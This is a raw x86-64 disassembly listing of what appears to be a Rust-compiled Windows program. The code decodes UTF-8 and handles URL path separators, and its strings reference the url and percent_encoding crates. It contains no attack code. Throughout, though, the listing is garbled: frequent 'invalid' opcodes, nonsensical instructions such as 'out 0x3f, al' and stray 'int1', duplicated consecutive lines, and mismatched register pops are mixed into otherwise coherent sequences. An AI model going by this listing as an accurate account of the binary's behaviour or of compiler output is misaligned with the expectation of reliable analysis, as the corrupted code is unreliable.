mov r9d, dword [r8 + 0x24]
mov rdx, qword [r8 + 8]
test r9, r9
test ecx, ecx
test ecx, ecx
je 0x1400fdc1d
mov r14, qword [r8 + 0x10]
cmp r14, r9
jbe 0x1400fdc22
cmp byte [rdx + r9], 0xbf
jle 0x1400fde54
cmp al, 0xa
mov edi, 0x2468e0f
add byte [rax], al
mov r14, r9
jmp 0x1400fdc28
mov rdx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
jmp 0x1400fdc28
xor r14d, r14d
jmp 0x1400fdc28
jne 0x1400fde54
add byte [rax], al
mov r8, r12
sub r8, r15
add r8, r14
mov rbp, qword [rbx]
mov r13, qword [rbx + 0x10]
mov rax, rbp
sub rax, r13
cmp rax, r8
jb 0x1400fde0d
cmp rax, r14
jb 0x1400fde34
mov rdi, qword [rbx + 8]
lea rcx, [rdi + r13]
mov r8, r14
call fcn.140106530
add r13, r14
mov qword [rbx + 0x10], r13
cmp r13, rbp
jne 0x1400fdc7c
invalid
mov rcx, rbx
call fcn.1400ba070
mov rdi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
mov byte [rdi + r13], 0x23
inc r13
mov qword [rbx + 0x10], r13
mov eax, 0x2600
jmp 0x1400fdc9e
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fdd56
cmp r15, r12
je 0x1400fdd53
movzx r9d, byte [r15]
movzx ecx, r9b
test cl, cl
js 0x1400fdcc0
inc r15
cmp ecx, 0xd
jbe 0x1400fdd29
jmp 0x1400fdc90
nop dword [rax]
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r15 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe case.0x1400dc507.403
movzx r8d, byte [r15 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fdd3c
movzx ecx, byte [r15 + 3]
add r15, 4
and edx, 7
shl edx, 0x12
shl r8d, 6
add ecx, dword [rcx - 0x7d]
mov dword [rbx + rax*4], 0xe2c107e2
adc al, byte [rcx - 0x3f]
loopne 0x1400fdd02
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
add byte [rbp + 0x14], dh
add byte [rbp + 0x14], dh
jmp 0x1400fdd56
add r15, 2
shl edx, 6
or edx, r10d
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xd
ja 0x1400fdc90
invalid
invalid
invalid
invalid
invalid
mov edx, 0x110000
bt eax, ecx
jb 0x1400fdc92
jmp 0x1400fdc90
add r15, 3
add edi, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400fdd29
jmp 0x1400fdc90
mov r15, r12
mov rcx, rbx
mov rdx, r15
mov r8, r12
call fcn.1400fdf10
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov rcx, r14
int1
int1
shr rcx, 0x20
jne 0x1400fddc5
mov rcx, qword [rbx + 0x10]
mov r9, qword [rsp + 0x30]
adc byte [r11 + r9*4 + 0x4c], cl
and al, 0x30
mov edx, dword [r9 + 0x3c]
mov qword [rsi], rax
mov qword [rsi + 8], r8
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rcx
mov rax, qword [r9 + 0x18]
mov qword [rsi + 0x18], rax
sbb dil, r8b
and byte [rcx], r8b
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], al
and al, 0x41
mov eax, dword [rcx + 0x28]
sbb dil, r8b
and byte [rcx], r8b
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], al
and al, 0x41
mov eax, dword [rcx + 0x28]
sub byte [r9 + 0xf412846], cl
adc byte [rcx + 0x2c], al
mov dword [rsi + 0x28], eax
movups xmm0, xmmword [r9 + 0x2c]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], edx
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [r9 + 0x50]
mov byte [rsi + 0x50], al
push rax
push rax
jmp 0x1400fddfb
mov byte [rsi + 8], 9
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
test rax, rax
je 0x1400fddfb
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
mov rdi, rdx
mov rdx, r13
call fcn.140108ba0
mov rdx, rdi
mov rbp, qword [rbx]
mov r13, qword [rbx + 0x10]
mov rax, rbp
sub rax, r13
cmp rax, r14
jae 0x1400fdc50
mov rcx, rbx
mov rdi, rdx
mov rdx, r13
mov r8, r14
call fcn.140108ba0
mov rdx, rdi
mov rbp, qword [rbx]
mov r13, qword [rbx + 0x10]
jmp 0x1400fdc50
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
lea eax, [0x140172e28]
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r14
xor r8d, r8d
call fcn.140108ac0
int3
cmp eax, 0x7377
je 0x1400fdf01
mov al, 2
ret
je 0x1400fdf33
jo 0x1400fdef4
add dword [rdi], ecx
mov dh, 0x49
add al, 0x83
int1
jae case.0x1400fde88.3
ror dword [rdi], 0x94
sal dword [rax - 0x3c37d7fe], 0xf
movzx eax, word [rcx]
movzx eax, word [rcx]
xor eax, 0x7377
add byte [rax], al
movzx edx, byte [rcx + 2]
xor edx, 0x73
or dx, ax
je 0x1400fdf01
movzx eax, word [rcx]
xor eax, 0x7466
movzx ecx, byte [rcx + 2]
xor ecx, 0x70
or cx, ax
int1
jo 0x1400fdf5d
or ecx, eax
sete cl
mov al, 2
sub al, cl
ret
mov al, 1
ret
int3
push rbx
invalid
mov rax, qword [rsp + 0x30]
mov rdx, rax
cmp rax, r13
je 0x1400fe1ad
movzx ecx, byte [rdx]
mov dh, 0xa
movzx r8d, cl
test r8b, r8b
js 0x1400fdf70
lea r10, [rdx + 1]
cmp r8d, 0xd
jbe 0x1400fdff0
jmp 0x1400fe010
mov eax, r8d
and eax, 0x1f
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x1400fdfbf
movzx r8d, byte [rdx + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1400fdfd4
lea r10, [rdx + 4]
movzx ecx, byte [rdx + 3]
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400fdff0
jmp 0x1400fe010
lea r10, [rdx + 2]
shl eax, 6
or eax, r9d
mov r8d, eax
cmp r8d, 0xd
jbe 0x1400fdff0
jmp 0x1400fe010
lea r10, [rdx + 3]
shl eax, 0xc
or r8d, eax
cmp r8d, 0xd
ja 0x1400fe010
nop word cs:[rax + rax]
mov eax, 0x2600
bt eax, r8d
jae 0x1400fe010
mov rdx, r10
cmp r10, r13
jne 0x1400fdf51
jmp 0x1400fe1ad
mov qword [rsp + 0x30], r10
cmp r8d, 0x110000
je 0x1400fe1ad
mov r14d, 1
cmp r8d, 0x80
jb 0x1400fe051
mov r14d, 2
cmp r8d, 0x800
jb 0x1400fe051
cmp r8d, 0x10000
mov r14d, 4
sbb r14, 0
mov rax, r13
sub rax, rdx
cmp r14, rax
jae 0x1400fe068
cmp byte [rdx + r14], 0xbf
jg 0x1400fe06e
jmp 0x1400fe1f5
jne 0x1400fe1f5
test r8d, r8d
je 0x1400fe09f
cmp r8d, 0x110000
je 0x1400fe1ad
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x38]
mov qword [rsp + 0x20], r13
mov rsi, rdx
mov rdx, rax
mov r9, qword [rsp + 0x30]
call fcn.1400fe220
add dword [rcx], 0
add bl, ch
invalid
add dword [rcx], 0
add bl, ch
adc eax, 0x304f8b48
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x1400fe10b
mov rax, qword [rdi + 0x38]
mov rsi, rdx
mov dl, 7
call qword [rax + 0x28]
mov rdx, rsi
jmp 0x1400fe10b
inc rdx
dec r14
mov rbp, rdx
lea rax, [rax + rax*2]
add rax, rbx
mov rsi, r14
mov r14d, 3
mov rdx, rax
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jb 0x1400fe183
mov rcx, qword [rdi + 8]
add rcx, r15
mov r8, r14
call fcn.140106530
add r15, r14
mov qword [rdi + 0x10], r15
mov r14, rsi
mov rdx, rbp
test r14, r14
je 0x1400fdf40
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400fe0c0
mov ecx, eax
shr ecx, 5
mov ecx, dword [r12 + rcx*4]
bt ecx, eax
jb 0x1400fe0c0
mov ebp, 1
mov ecx, 1
nop word cs:[rax + rax]
cmp r14, rcx
je 0x1400fe17c
mov rax, rcx
movzx ecx, byte [rdx + rcx]
test cl, cl
js 0x1400fe168
movzx r8d, cl
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r12 + rcx*4]
lea rcx, [rax + 1]
bt r9d, r8d
jae 0x1400fe140
sub r14, rax
jb 0x1400fe1be
lea rbp, [rdx + rax]
mov rsi, r14
mov r14, rax
jmp 0x1400fe0dc
xor esi, esi
jmp 0x1400fe0dc
mov rcx, rdi
mov rbx, r13
mov r13, rdx
mov rdx, r15
mov r8, r14
call fcn.140108ba0
mov rdx, r13
mov r13, rbx
lea rbx, [0x14013cf3c]
mov r15, qword [rdi + 0x10]
jmp 0x1400fe0ef
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.mid___len
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x38]
call fcn.140108560
lea rcx, [0x140172eb0]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
int3
invalid
and al, 0x38
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x48], 0
mov r12, qword [rsp + 0x80]
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x28
add dword [rax], eax
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x78
add dword [rax], eax
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x78
je 0x1400fea69
add dword [rax], eax
mov esi, 1
test r14, r14
je 0x1400feaec
cmp rbx, qword [rdi]
jne 0x1400fea94
mov qword [rdi + 0x10], rax
mov rcx, rdi
mov rdx, r14
mov r8, r13
call fcn.1400fdf10
mov dword [r12], esi
xor al, 0x24
mov dword [r12 + 4], r15d
mov dword [r12 + 8], 1
mov dword [rsp + 8], 1
mov dword [rsp + 8], 1
mov dword [r12 + 0xc], ebx
jmp 0x1400fead8
add byte [rax - 0x7f], cl
invalid
add byte [rbp - 0x77], al
jl 0x1400feb1c
je 0x1400fe8f8
xchg al, ah
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
jle 0x1400fecb1
add byte [rax], al
lea rcx, [rbx + r14]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
mov byte [rsp + 0x50], 1
movabs rax, 0x2f0000002f
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x28]
call fcn.1400f69f0
cmp qword [rsp + 0x58], 0
je 0x1400feca5
movzx eax, byte [rbx + r8]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fec80
cmp byte [rbx + r8 + 1], 0x3a
je 0x1400fec9a
invalid
cmp rsi, r8
jb 0x1400fec9a
test r8, r8
je 0x1400fec96
sal byte [rsp + rcx + 0x4c], 0x39
invalid
cmp rsi, r8
jbe 0x1400fec96
cmp byte [rbx + r8], 0xbf
jle 0x1400fecce
mov qword [rdi + 0x10], r8
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
invalid
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172bb0]
add byte [rdx + 0x30], bh
add byte [rdx + 0x30], bh
call fcn.140108630
int3
add byte [rax], al
int3
sub byte [rax], al
mov byte [rsp + 0x20], 1
lea rdx, [0x140172858]
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
xor r8d, r8d
call fcn.1400e2790
int3
int3
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rsp + rdi + 0xf]
mov dh, 5
add eax, 0x835c0
mov edx, 0x10
add eax, 0x835c0
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
dec dword [rax - 0x7b]
invalid
je 0x1400fed76
dec dword [rax - 0x7b]
sal byte [rbp + rdx + 0x48], 0x89
xor byte [rax - 0x77], cl
js 0x1400fed70
invalid
mov qword [rax], rsi
mov qword [rax + 8], rdi
invalid
or byte [rax - 0x73], cl
adc eax, 0x73eb9
lea rdx, [0x140172c28]
add rsp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x10
call fcn.1401082c0
mov ecx, 7
int 0x29
ud2
add byte [rbx + rcx + 0x48], dh
mov eax, ecx
lea rdx, [0x140172c28]
ret
int3
int3
mov r8d, r9d
cmp r8d, 0x110000
jne 0x1400feeb5
invalid
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
test ebp, eax
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
cmp rcx, rdx
je 0x1400feeb2
movzx ebx, byte [rcx]
movzx r9d, bl
movzx ecx, bl
movzx ecx, bl
test r9b, r9b
js 0x1400fee20
inc rcx
cmp r9d, 0xd
jbe 0x1400fee8a
invalid
rol dword [rcx - 0x7d], 0xf9
or eax, 0xcaeb7676
jbe 0x1400fee00
retf 0x2e66
nop dword [rax + rax]
invalid
jmp 0x1400fede0
add byte [rbp - 0x77], al
retf 0x8341
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rcx + 1]
mov dh, 0x71
invalid
and esi, 0x3f
out 0x3f, al
mov dh, 0x71
add dword [rbx - 0x7fbec01a], eax
out 0x3f, al
cmp r9b, 0xdf
jbe 0x1400fee72
out 0x3f, al
cmp r9b, 0xdf
jbe 0x1400fee72
movzx r11d, byte [rcx + 2]
shl esi, 6
invalid
and r11d, 0x3f
or r11d, esi
cmp bl, 0xf0
jb 0x1400fee99
invalid
movzx r9d, byte [rcx + 3]
add rcx, 4
and r10d, 7
shl r10d, 0x12
loop 0x1400fee6b
loop 0x1400fee6b
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
jne 0x1400fee80
add byte [rcx], dl
add byte [rbp + 0x10], dh
jmp 0x1400feeb5
add rcx, 2
add ecx, 2
shl r10d, 6
or r10d, esi
mov r9d, r10d
cmp r9d, 0xd
ja 0x1400fede0
bt eax, r9d
jb 0x1400fede3
invalid
invalid
invalid
invalid
invalid
invalid
jmp 0x1400fede0
add rcx, 3
shl r10d, 0xc
loop 0x1400feead
or r11d, r10d
mov r9d, r11d
cmp r9d, 0xd
jbe 0x1400fee8a
jmp 0x1400fede0
invalid
mov rcx, rdx
mov eax, 0x2600
jmp 0x1400feed0
invalid
mov r9d, r10d
cmp r9d, 0x110000
stc
add byte [rax], al
add byte [rcx], dl
invalid
add byte [rcx], dl
add byte [rdi], cl
jne 0x1400fef95
test ebp, eax
add byte [rax], al
add byte [rcx - 0x47], al
add byte [rax], al
adc dword [rax], eax
mov r9d, 0x110000
cmp rcx, rdx
je 0x1400fef92
movzx ebx, byte [rcx]
mov dh, 0x19
movzx r10d, bl
movzx edx, bl
mov dh, 0xd3
test r10b, r10b
test dl, dl
js 0x1400fef00
inc rcx
cmp r10d, 0xd
jbe 0x1400fef6a
invalid
jmp 0x1400feec0
add byte [rbp - 0x77], al
rol dword [rcx - 0x7d], cl
and r11d, 0x1f
mov r11d, r10d
and r11d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
cmp dl, 0xdf
jbe 0x1400fef4e
movzx esi, byte [rcx + 2]
shl edi, 6
and esi, 0x3f
or esi, edi
inc byte [rax + 0x5472f0fb]
inc byte [rax + 0x5472f0fb]
movzx r10d, byte [rcx + 3]
movzx edx, byte [rcx + 3]
add rcx, 4
and r11d, 7
shl r11d, 0x12
shl esi, 6
out 6, al
out 6, al
and r10d, 0x3f
loop 0x1400fef7c
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
jne 0x1400fef60
jmp 0x1400fef95
add rcx, 2
shl r11d, 6
or r11d, edi
or ebx, edi
or ebx, edi
mov r10d, r11d
nop dword [rax]
cmp r10d, 0xd
ja 0x1400feec0
bt eax, r10d
jb 0x1400feec3
invalid
invalid
jmp 0x1400feec0
add rcx, 3
shl r11d, 0xc
add eax, dword [rcx - 0x3f]
jrcxz 0x1400fef8d
or esi, r11d
mov r10d, esi
cmp r10d, 0xd
jbe 0x1400fef6a
jmp 0x1400feec0
invalid
mov rcx, rdx
mov eax, 0x2600
jmp 0x1400fefca
inc rcx
cmp r11d, 0xd
ja case.0x1400b958a.1406
add byte [rax], al
add byte [rax], al
mov r10d, 0x110000
bt eax, r11d
invalid
fmul dword [rdi]
invalid
mov bl, 0
add byte [rax], al
cmp r10d, 0x110000
jne 0x1400ff080
mov r10d, 0x110000
cmp rcx, rdx
je 0x1400ff080
invalid
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
movzx ebx, byte [rcx]
movzx r11d, bl
movzx ebx, bl
movzx ebx, bl
test r11b, r11b
jns 0x1400fefa0
mov esi, r11d
and esi, 0x1f
movzx ebp, byte [rcx + 1]
and ebp, 0x3f
cmp r11b, 0xdf
jbe 0x1400ff03a
movzx edi, byte [rcx + 2]
shl ebp, 6
and edi, 0x3f
or edi, ebp
cmp bl, 0xf0
jb 0x1400ff052
movzx r11d, byte [rcx + 3]
and esi, 7
shl esi, 0x12
shl edi, 6
and r11d, 0x3f
or r11d, edi
or r11d, esi
cmp r11d, 0x110000
je 0x1400ff080
add rcx, 4
cmp r11d, 0xd
jbe 0x1400fefad
jmp case.0x1400b958a.1406
add rcx, 2
shl esi, 6
or esi, ebp
mov r11d, esi
cmp r11d, 0xd
jbe 0x1400fefad
jmp case.0x1400b958a.1406
invalid
add rcx, 3
shl esi, 0xc
or edi, esi
mov r11d, edi
cmp r11d, 0xd
jbe 0x1400fefad
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov r10d, r11d
cmp r10d, 0x110000
je 0x1400fefca
xor eax, eax
cmp r8d, 0x110000
je 0x1400ff0ee
cmp r9d, 0x110000
je 0x1400ff0ee
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r10d, 0x110000
jne 0x1400ff0bd
cmp r8d, 0x1a
jae 0x1400ff0ec
cmp r9d, 0x3a
sete cl
cmp r9d, 0x7c
sete al
or al, cl
jmp 0x1400ff0ee
cmp r8d, 0x1a
jae 0x1400ff0ec
cmp r9d, 0x7c
je 0x1400ff0cf
cmp r9d, 0x3a
jne 0x1400ff0ec
add r10d, 0xffffffdd
cmp r10d, 0x3a
jae 0x1400ff0ec
movabs rax, 0x200000010001001
bt rax, r10
setb al
jmp 0x1400ff0ee
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov al, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8, 0xffffffffffffffff
test rdx, rdx
js 0x1400ff31b
mov r9d, 5
sub r9, rdx
cmp r9, rcx
cmovg rcx, r9
cmovg rax, rdx
pextrw edx, xmm0, 6
test edx, edx
je 0x1400ff3a2
mov rdx, 0xffffffffffffffff
test r8, r8
js 0x1400ff344
mov r8, 0xffffffffffffffff
test rdx, rdx
test edx, edx
test edx, edx
js 0x1400ff3c6
mov r9d, 7
sub r9, rdx
cmp r9, rcx
cmovg rcx, r9
cmovg rax, rdx
jmp 0x1400ff3c6
sar byte [rdx + 4], 0x49
cmovns edx, eax
pextrw r8d, xmm0, 5
test r8d, r8d
jne 0x1400ff2fb
test rdx, rdx
mov r8d, 5
cmovns r8, rdx
pextrw edx, xmm0, 6
test edx, edx
jne 0x1400ff324
test r8, r8
mov edx, 6
cmovns rdx, r8
cmovns edx, eax
cmovns edx, eax
pextrw r8d, xmm0, 7
test r8d, r8d
jne 0x1400ff34f
test rdx, rdx
mov r8d, 7
cmovns r8, rdx
mov edx, 8
or byte [rax], al
add byte [rax], al
sub rdx, r8
cmp rdx, rcx
cmovle rdx, rcx
mov r9, rax
cmovg r9, r8
test r8, r8
cmovs rdx, rcx
cmovs r9, rax
lea rax, [r9 + rdx]
cmp rdx, 2
mov r13, 0xfffffffffffffffe
cmovge r13, rax
mov r12, 0xffffffffffffffff
invalid
dec dword [rbp + 0xf]
loope 0x1400ff44f
cmp ebp, 8
jge 0x1400ff4fb
invalid
xor ebx, ebx
lea r14, [0x140172ce2]
lea rbp, [0x140173648]
sub dword [rdx + 7], eax
add byte [rax - 0x73], cl
jl 0x1400ff447
xor byte [rbp + rcx*4 + 0x7c], cl
and al, 0x40
sub dword [rdx + 7], eax
add byte [rax - 0x73], cl
jl 0x1400ff447
xor byte [rbp + rcx*4 + 0x7c], cl
and al, 0x40
cmp rbx, r12
jne 0x1400ff472
nop
mov r8d, 1
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov rdx, r14
call qword [rsp + 0x20]
test al, al
jne 0x1400ff1ac
dec dword [rbp - 0x7b]
in al, 0x75
sbb byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
test r12, r12
jne 0x1400ff465
mov r8d, 1
mov rcx, rsi
mov rdx, r14
call qword [rsp + 0x20]
test al, al
jne 0x1400ff1ac
mov rbx, r13
cmp r13, 7
ja 0x1400ff8ea
lea rax, [rsp + rbx*2]
add rax, 0x70
mov qword [rsp + 0x30], rax
lea rax, [0x140014240]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 1
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, r15
call fcn.140013990
test al, al
jne 0x1400ff1ac
invalid
test r12, r12
je 0x1400ff887
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rbx, [0x140014240]
dec dword [rax - 0x77]
pop rsp
and al, 0x38
dec dword [rax - 0x77]
pop rsp
and al, 0x38
lea r14, [0x140173648]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea r15, [rsp + 0x30]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 1
lea r8, [rsp + 0x40]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.140013990
test al, al
jne 0x1400ff1ac
lea rdx, [0x140172ce2]
mov r8d, 1
mov rcx, rsi
call qword [rsp + 0x20]
test al, al
jne 0x1400ff1ac
cmp r12, 1
je 0x1400ff8a3
lea rax, [rsp + 0x72]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 1
lea r8, [rsp + 0x40]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.140013990
test al, al
jne 0x1400ff1ac
lea rdx, [0x140172ce2]
mov r8d, 1
mov rcx, rsi
call qword [rsp + 0x20]
test al, al
jne 0x1400ff1ac
lea rdx, [0x140172ce2]
mov r8d, 1
mov rcx, rsi
call qword [rsp + 0x20]
test al, al
jne 0x1400ff1ac
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 8
mov rcx, r13
call fcn.1401085b0
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rax, r9
mov ebx, edx
mov rdx, qword [rsp + 0xa0]
mov rsi, qword [rcx + 0x10]
mov r9d, 0x2600
add byte [rsi], ah
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
mov r14, rax
jmp case.0x1400d7391.740
mov ebp, r10d
cmp ebp, 0x110000
jne 0x1400ffa15
mov ebp, 0x110000
cmp r14, rdx
je 0x1400ffa12
movzx r15d, byte [r14]
movzx r10d, r15b
test r10b, r10b
js 0x1400ff970
inc r14
inc esi
cmp r10d, 0xd
jbe 0x1400ff9ea
jmp 0x1400ff930
mov r11d, r10d
and r11d, 0x1f
movzx r12d, byte [r14 + 1]
and r12d, 0x3f
cmp r10b, 0xdf
jbe 0x1400ff9c4
movzx edi, byte [r14 + 2]
shl r12d, 6
and edi, 0x3f
or edi, r12d
or edi, esp
or edi, esp
cmp r15b, 0xf0
jb 0x1400ff9f9
movzx r10d, byte [r14 + 3]
add r14, 4
and r11d, 7
shl r11d, 0x12
shl edi, 6
and r10d, 0x3f
or r10d, edi
or r10d, r11d
cmp r10d, 0x110000
jne 0x1400ff9e0
jmp 0x1400ffa15
add r14, 2
shl r11d, 6
invalid
or r11d, r12d
mov r10d, r11d
nop word cs:[rax + rax]
invalid
cmp r10d, 0xd
ja 0x1400ff930
invalid
invalid
invalid
invalid
bt r9d, r10d
jb 0x1400ff933
jmp 0x1400ff930
add r14, 3
shl r11d, 0xc
or edi, r11d
fild word [rcx - 0x77]
cli
fild word [rcx - 0x77]
cli
cmp r10d, 0xd
jbe 0x1400ff9ea
jmp 0x1400ff930
mov r14, rdx
cmp bl, 2
jne 0x1400ffa3a
cmp ebp, 0x3e
jg 0x1400ffadd
cmp ebp, 0x23
je 0x1400ffb37
cmp ebp, 0x2f
je 0x1400ffb23
jmp 0x1400ffaea
cmp ebp, 0x5c
jne 0x1400ffa6d
mov r9, qword [rcx + 0x30]
test r9, r9
je 0x1400ffa6d
mov r10, qword [rcx + 0x38]
mov rdi, rcx
mov rcx, r9
mov r15, rdx
xor edx, edx
mov r12, rax
mov r13, r8
call qword [r10 + 0x28]
mov rcx, rdi
mov r8, r13
mov rdx, r15
mov rax, r12
mov r9, qword [rcx + 8]
test rsi, rsi
je 0x1400ffa7e
cmp byte [r9 + rsi - 1], 0x2f
je 0x1400ffacf
mov r10, rsi
cmp rsi, qword [rcx]
jne 0x1400ffaab
mov rdi, rcx
mov r15, rax
mov r13, rdx
mov r12, r8
call fcn.1400ba070
mov rcx, rdi
mov r8, r12
mov rdx, r13
mov rax, r15
mov r9, qword [rdi + 8]
mov r10, qword [rdi + 0x10]
push rdi
invalid
push rdi
adc byte [rbx - 0x3a], al
add al, 0x11
invalid
mov byte [r9 + r10], 0x2f
inc r10
mov qword [rcx + 0x10], r10
cmp ebp, 0x2f
je 0x1400ffac1
cmp ebp, 0x5c
jne 0x1400ffacf
mov qword [rsp + 0x28], rdx
and al, 0x28
mov qword [rsp + 0x20], r14
mov edx, ebx
jmp 0x1400ffb2f
je 0x1400ffaee
and byte [rcx + 0x4860ebda], cl
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov edx, ebx
jmp 0x1400ffb2f
cmp ebp, 0x3f
je 0x1400ffb37
cmp ebp, 0x110000
je 0x1400ffb23
mov r9, rsi
cmp rsi, qword [rcx]
cmp esi, dword [rcx]
jne 0x1400ffb13
mov rdi, rcx
mov rbx, rax
mov r15, rdx
mov r14, r8
call fcn.1400ba070
mov rcx, rdi
mov r8, r14
mov rdx, r15
mov rax, rbx
mov r9, qword [rdi + 0x10]
mov r10, qword [rcx + 8]
mov byte [r10 + r9], 0x2f
inc r9
mov qword [rcx + 0x10], r9
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov dl, 2
mov r9, rsi
